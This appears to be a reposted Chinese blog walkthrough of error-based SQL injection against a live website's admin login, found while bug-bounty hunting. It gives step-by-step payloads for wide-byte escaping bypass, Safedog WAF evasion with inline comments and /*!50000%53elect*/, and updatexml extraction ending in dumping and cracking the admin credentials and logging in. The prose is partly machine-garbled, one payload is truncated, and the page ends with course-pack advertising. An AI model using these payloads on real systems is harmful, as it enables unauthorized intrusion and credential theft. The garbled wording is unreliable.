1.前言
近来在挖补天的src，然后挖出了不少SQL注入，完了出了数据库名就不管那么多提交了。本日挖了个报错注入的，突然一激灵，说我不能如许悲观下去了，刚好是个后台登录的界面，我刻意要登进它的后台。
2.注入测试
bp抓包，加单引号，没有什么用。
很显然，这里开启了php的把戏函数，把单引号自动转义了。
2.1.绕过第一式：汉字双字节编码绕过单引号
当开启了把戏函数过滤了引号时，可以在引号前加上一个汉字双字节编码，可以实现绕过。
例如构造Payload为：
1
%BF解码之后是中文乱码
可以看到SQL语句酿成：
- SELECT * FROM `sl_admin` WHERE `username`='¿'
程序报错，考虑使用爆错注入。
3.获取数据库
既然想进后台，就需要账号密码，就要注数据库，表名，列名，内容。
第一步是注出数据库，版本，用户等基本信息。
先把Payload放出来，再进行解说。
Payload：
- username=%BF'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)#
数据库名不能放出来，在本文中用test_db代替。
用这个Payload成功注出了数据库，因而版本信息，当前用户只是改一个值的事，在这里也放出来。
- 数据库：
- username=%BF'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)#
- 用户：
- username=%BF'/**/and/**/updatexml(1,concat(0x7e,(user()),0x7e),1)#
- 版本：
- username=%BF'/**/and/**/updatexml(1,concat(0x7e,(version()),0x7e),1)#
再第一个绕过那里，可以看到SQL语句背面还多了个单引号。这个单引号要么把它闭合，要么就注释掉。由于这里开启了把戏函数，所以选择注释。
我原本是想用 –+ 来注释的，但是网站用了安全狗，所以加号被干掉了，那就只能用 # 注释了。
注释成功，很简单，没什么好说的。
3.2 绕过第三式：内联注释绕过空格
安全狗把空格干掉了。
空格或者加号都会被干掉。
当空格和加号都被干掉时，可以用内联注释 /**/ 代替实现绕过。
- username=%BF/**/and/**/1'
4.获取表名
再得到数据库后要获取表名。
先把Payload放出来。
- username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/gr
管理员表用admin代替，其他表用test_table代替。
4.1 绕过第四式：select过安全狗
注表名需要用select语句，因此我最开始写的Payload是如许的：
- username=%BF'/**/and/**/updatexml(1,concat(0x7e,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()),0x7e),1)#
这种select的绕过是最麻烦的，我在尝试了URL编码绕过，混淆巨细写绕过，脏数据绕过均告失败后，打开了万能的百度，看到了这篇文章。
https://www.cnblogs.com/w-i-n-d/p/8649590.html
在该文中，用 /*!50000%53elect*/ 代替select实现绕过
我尝试了一下，成功实现了绕过（见上图）
后来我测试了一下，其他关键词也可以用这种方法绕过
- select
- /*!50000%53elect*/
- order
- /*!50000%53elect*/
- union
- /*!50000%75nion*/
得到了表名和列名，接下来就是要获取列名。
先放Payload：
- username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/7,1),0x7e),1)#
按照正常的注入流程，写出来的Payload应该是如许的：
- username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/and/**/table_name/**/like/**/'admin'),0x7e),1)#
于是我就开始各种百度，Google，查找怎么绕过把戏函数。
Noway
就在陷入死胡同时，我灵机一动。
我在最开始学SQL注入的时候，看到information_schema数据库获取信息时，专门去看了这个数据库的结构，在columns这个表里有个字段叫 column_name ,是攻击者需要获取的信息，有个字段叫 table_schema ，对应的是该字段地点的数据库名，有个字段叫 table_name ，对应的是该字段地点的表名。
因此，当同时获取了数据库名和表名时，可以获取到对应表的全部列名。
但是在表数量少且无法使用表名时，可以只指定数据库名，然后使用 limit 语句获取当前数据库全部的字段，再通过经验判断表名。
例如，我想知道 数据库 test中admin表的内容。
- select column_name from information_schema.columns where table_schema like
这时通过直觉可以判断出，admin表中的字段是 id username password。
同理，在该站点中，可以通过这种方法，获取字段。
当Payload指定为：
- username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/1,1),0x7e),1)#
通过修改limit后的值，就可以得到全部的字段，包括admin表中的字段。
经过测试，当值为 7,1时可以得到字段 username； 当值为 8,1时可以得到字段 password。
6.爆帐密
得到了以上信息后，爆帐密就很简单了。
- 爆账号：
- username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/username/**/from/**/sl_admin),0x7e),1)#
- 爆密码：
- username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/substr(password,1,31)/**/from/**/sl_admin),0x7e),1)#
- username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/substr(password,32,31)/**/from/**/sl_admin),0x7e),1)#
解密得到账号密码。
登录成功。
总结
实战注入的难度比靶场大得多，各种绕过，各种骚操作。
要学会使用搜索工具，更要学会选择性放弃。
当一条路走不通就换另一种方法，也许就会柳暗花明又一村。
网络安全学习资源分享:
给各人分享一份全套的网络安全学习资料，给那些想学习 网络安全的小同伴们一点帮助！
对于从来没有打仗过网络安全的同砚，我们帮你预备了具体的学习发展门路图。可以说是最科学最系统的学习门路，各人跟着这个大的方向学习准没题目。
因篇幅有限，仅展示部分资料，朋友们假如有需要全套《网络安全入门+进阶学习资源包》，需要点击下方链接即可前往获取
读者福利 | CSDN大礼包：《网络安全入门&进阶学习资源包》免费分享（安全链接，放心点击）
同时每个发展门路对应的板块都有配套的视频提供：
大厂面试题
视频配套资料&国表里网安册本、文档
当然除了有配套的视频，同时也为各人整理了各种文档和册本资料
全部资料共282G，朋友们假如有需要全套《网络安全入门+进阶学习资源包》，可以扫描下方二维码或链接免费领取~
读者福利 | CSDN大礼包：《网络安全入门&进阶学习资源包》免费分享（安全链接，放心点击）
特别声明：
此教程为纯技术分享！本教程的目标决不是为那些怀有不良动机的人提供及技术支持！也不负担由于技术被滥用所产生的连带责任！本教程的目标在于最大限度地叫醒各人对网络安全的重视，并采取相应的安全步伐，从而减少由网络安全而带来的经济损失。
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。 |
